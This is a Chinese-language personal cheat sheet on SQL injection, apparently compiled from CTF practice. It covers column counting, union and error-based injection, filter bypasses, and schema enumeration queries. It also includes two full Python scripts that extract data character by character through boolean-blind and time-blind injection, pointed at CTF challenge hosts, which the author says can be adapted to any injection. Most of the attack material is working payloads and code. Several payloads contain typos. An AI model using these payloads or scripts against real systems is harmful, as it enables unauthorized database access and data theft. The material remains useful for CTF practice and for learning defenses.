记录我在做题中积累的SQL注入知识
判断SQL注入点和注入性质
判断当前表中的列数
select id =
1 order by 1
1 order by 2
1 order by 3
1 order by 4
...
然后看回显
判断回显位置
select id =
-1 union select 1, 2, 3, 4
看看哪个位置是什么
SQL绕过相关
空格绕过
第一种方式:注释绕过
select id = 1 from table
# 等效于
select/**/id/**/=/**/1/**/from/**/table
第二种方式:括号()绕过
所有结果等于值的内容都可以括号括起来
select (ascii(mid(flag, 1, 1)) = 1) from flag
# 等效于
(select(ascii(mid(flag,1,1))=1)from(flag))
group_concat绕过
group_concat绕过之一
使用order by搭配limit来绕过
... order by xxx limit 0,1
只使用limit可能导致结果随机的问题,简单来说就是上一次查询的limit结果和下一次查询的limit结果不一定一样。我无法复现。
group_concat绕过之二
使用正则匹配绕过,仅限于对要查询的内容有一定猜测
select(real_flag_1s_here)from(users)where(real_flag_1s_here)regexp('^f')
使用<列名> regexp '^f'来匹配「某个列的值以f开头」的行
子查询的绕过
有一些版本的mysql,限制了子查询,比如这个payload:
select * from users where username='1' or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1);#-- -
可能会报错,其中的select group_concat(table_name) from information_schema.tables where table_schema=database()是罪魁祸首。因为有些版本或者有些题目配置禁止了子查询。
有两种方式可以绕过,一种是在union联合查询中调整from的位置,比如:
子查询绕过之一
select * from users where username='1' union select updatexml(1,concat(0x7e,(group_concat(table_name)),0x7e),1) from information_schema.tables where table_schema=database();#-- -
另一种是使用sql变量:
子查询绕过之二
set @payload = (select group_concat(table_name) from information_schema.tables where table_schema=database());select @payload ;
结果如下:
| @payload |
| email,flag,user |
SQL函数相关
| 函数 | 参数 | 返回值 |
database() | 当前数据库名 | |
user() | 用户信息 样例: root@localhost | |
load_file(file_name) | 完整路径(绝对路径) | 文件内容(text形式) |
SQL注入常用手法
爆数据库
select group_concat(schema_name) from information_schema.schemata
爆指定数据库的表
select group_concat(table_name) from information_schema.tables where table_schema='database_name'
爆指定表的字段名
select group_concat(column_name) from information_schema.columns where table_name='table_name'
sql注入的闭合
有三种闭合情况:
' # 单引号闭合
" # 双引号闭合
) # 括号闭合
这些闭合中,引号可能与括号一起使用
sql注入的截断
需要把原来的sql语句的末尾截断,避免出现sql语法错误
;-- - # 使用-- -进行注释
;# # 使用#进行注释
;#-- - # 一起使用,更加有效
;selecr (1) # 允许
报错注入
参考文献:sql注入中报错注入函数extractvalue和updatexml函数的原理及使用_extractvalue函数-CSDN博客
sql注入的一些注意事项
将子查询作为参数值
有时候需要将子查询的结果本身作为一个值传入参数。
比如一个时间盲注,注入点是这样的:
select * from users where (username='?')
构造的payload是这样的:
')union select 1,1,if((select group_concat(table_name) from information.schema where table_schema='test'),sleep(2),sleep(2));-- -
-- - 带入:
select * from users where (username='')union select 1,1,if((select group_concat(table_name) from information.schema where table_schema='test'),sleep(2),sleep(2));-- -')
这个payload仅用来测试语法和时间盲注可行性。其中,select group_concat(table_name) from information.schema where table_schema='test'这一个部分,作为if的参数时,需要使用括号包裹。
limit会导致随机
在做一道题目的时候,发现limit限制的时候,会导致结果随机
# 比如有一个表:
email
- id
- email_id
# 使用limit配合时间盲注的时候,可能得到这样的结果
imail_id
真实案例,无法复现,建议搭配order by <字段名>使用
sql注入的脚本
bool盲注(能在页面上找到成功或失败的标志)
import requests
import string
import time
# TODO: 修改点1
url = 'http://f8bebef1-8b12-4f5a-b84b-d8bd88e2e1db.node5.buuoj.cn:81/index.php'
# TODO: 修改点2
param_name = 'id'
params = {param_name: None}
min_num = 0
max_num = 128
# TODO: 修改点3
success_flag = "Error Occured When Fetch Result."
fail_flag = "Nu1L"
def bool_success(url: string, params : dict, success_flag: string, fail_flag: string):
# 初始化
if not hasattr(bool_success, 'wait_time'):
bool_success.wait_time = 0.02
if not hasattr(bool_success, 'success_times'):
bool_success.success_times = 0
if not hasattr(bool_success, 'total_times'):
bool_success.total_times = 0
state_503 = True
while state_503:
time.sleep(bool_success.wait_time)
if bool_success.total_times >= 10 and bool_success.success_times / bool_success.total_times >= 0.5:
bool_success.wait_time += 0.01
# print(f'bool_success.wait_time调整至{bool_success.wait_time}')
bool_success.total_times = 0
bool_success.success_times = 0
bool_success.total_times += 1
try:
# TODO: 修改点:GET OR POST
response = requests.post(url=url, data=params)
# print(response.url)
except Exception:
continue
# print(url+'id='+params[param_name])
if requests.status_codes != 503:
state_503 = False
bool_success.success_times += 1
# print(url, response.text)
if success_flag in response.text:
# print('success')
return True
elif fail_flag in response.text:
# print('fail')
# TODO: 修改点4
# return False
continue
elif "Error" in response.text:
# print('worry_data')
continue
else:
# print('error')
continue
return False
res = ''
temp_flag = ''
None_num = 0
for i in range(1, 500):
left = min_num - 1
right = max_num + 1
mid = (left + right) // 2
while left + 1 != right:
# TODO: 修改点
column_name = 'users23330'
table_name = 'users'
# TODO: 修改点5
# 数据库
# 1. 常规
# params[param_name] = f'1^(ascii(substr((select(group_concat(schema_name))from(information_schema.schemata)),{i},1))>{mid})'
# 2. 当前库
# params[param_name] = f'1^(ascii(substr((select(database())),{i},1))>{mid})'
# 3. 换个信息表
# params[param_name] = f'1^(ascii(substr((select(group_concat(table_schema))from(sys.schema_table_statistics_with_buffer)),{i},1))>{mid})'
# 数据表
# 1.
# params[param_name] = f'1^(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),{i},1))>{mid})'
# 2.
# params[param_name] = f'1^(select(group_concat(table_name))from(mysql.innodb_table_stats)where(database_name=database()))'
# 3.
# params[param_name] = f'1^(ascii(substr((select(group_concat(table_name))from(sys.schema_table_statistics_with_buffer)where(table_schema=database())),{i},1))>{mid})'
# 字段
# params[param_name] = f'1^(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name="{table_name}")),{i},1))>{mid})'
# 内容
# 1.
# params[param_name] = f' or ascii(substr((select {column_name} from {table_name}),{i},1))>{mid}-- -'
# 2. payload形式
# payload = f' or ascii(substr((select {column_name} from {table_name}),{i},1))>{mid}-- -'
# 3. 不用列名
# params[param_name] = f'1^(ascii(substr((select(group_concat(a))from(select(1)a,(2)b,(3)c/**/union/**/select/**/*from/**/{column_name})x),{i},1))>{mid})'
# 4. 不用列名,字典序比较
params[param_name] = f'1^(select((select/**/1,"{temp_flag}{chr(mid+1)}")<(select/**/*/**/from(f1ag_1s_h3r3_hhhhh))))'
# print(params[param_name])
if bool_success(url,params, success_flag, fail_flag):
left = mid
else:
right = mid
mid = (left + right) // 2
if right == max_num + 1 or left == min_num - 1:
print('NoneChr!')
None_num += 1
if None_num >= 5:
print('---finished---')
break
continue
res += chr(right)
print(res)
temp_flag += chr(right)
我使用了合理的重试机制,时间宽容度具有弹性。里面使用了二分法快速查找避免浪费时间。
可以 稍加改造让他适应任何情况的注入。
时间盲注(确保服务器的响应不会有随机等待时间)
import requests
import time
from datetime import datetime
import json
from colorama import Fore, Back, Style
import base64
# 目标配置
url = "http://web-94a6ef40a7.challenge.xctf.org.cn:80/index.php"
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36 Edg/131.0.0.0",
}
payload_json = {"sql":"select if(ascii(substr(database(),1,1))>5,sleep(2),1)"}
# res = requests.post(url, json=payload_json, headers=headers)
# print(res.text)
datas = {
"username": "';SELECT if(ascii(substr((select group(w_name) from w_admin),1,1))>5,sleep(3),1)#",
"password": "123123123",
"vercode": "942724"
}
# res = requests.post(url, data=datas, headers=headers)
# print(res.text)
# time.sleep(100000)
# 程序配置
min_num = 0
max_num = 128
# 爆库
res = ''
None_num = 0
for i in range(1, 500):
left = min_num - 1
right = max_num + 1
mid = (left + right) // 2
while left + 1 != right:
time_st = time.time()
cookies = {
"uname": base64.b64encode("')union select 1,1,if(ascii(substr(flag,{},1))>{},sleep(1),1) from flag limit 0,1;-- -".format(i, mid).encode('utf-8')).decode('utf-8')
}
print(Fore.BLUE + "[out]: -----------------------\n[out]: now_payload: {}".format(cookies))
response = requests.post(url, cookies=cookies, headers=headers, timeout=10)
if time.time() - time_st > 0.5:
left = mid
else:
right = mid
mid = (left + right) // 2
if right == max_num + 1 or left == min_num - 1:
print('NoneChr!')
None_num += 1
if None_num >= 5:
print('---finished---')
break
continue
res += chr(right)
print(Fore.GREEN + "[ANS]: " + res)
这个脚本没有做重试机制,因为时间注入不容易导致503。同样的,可以稍加改造以适应任何情况的时间注入。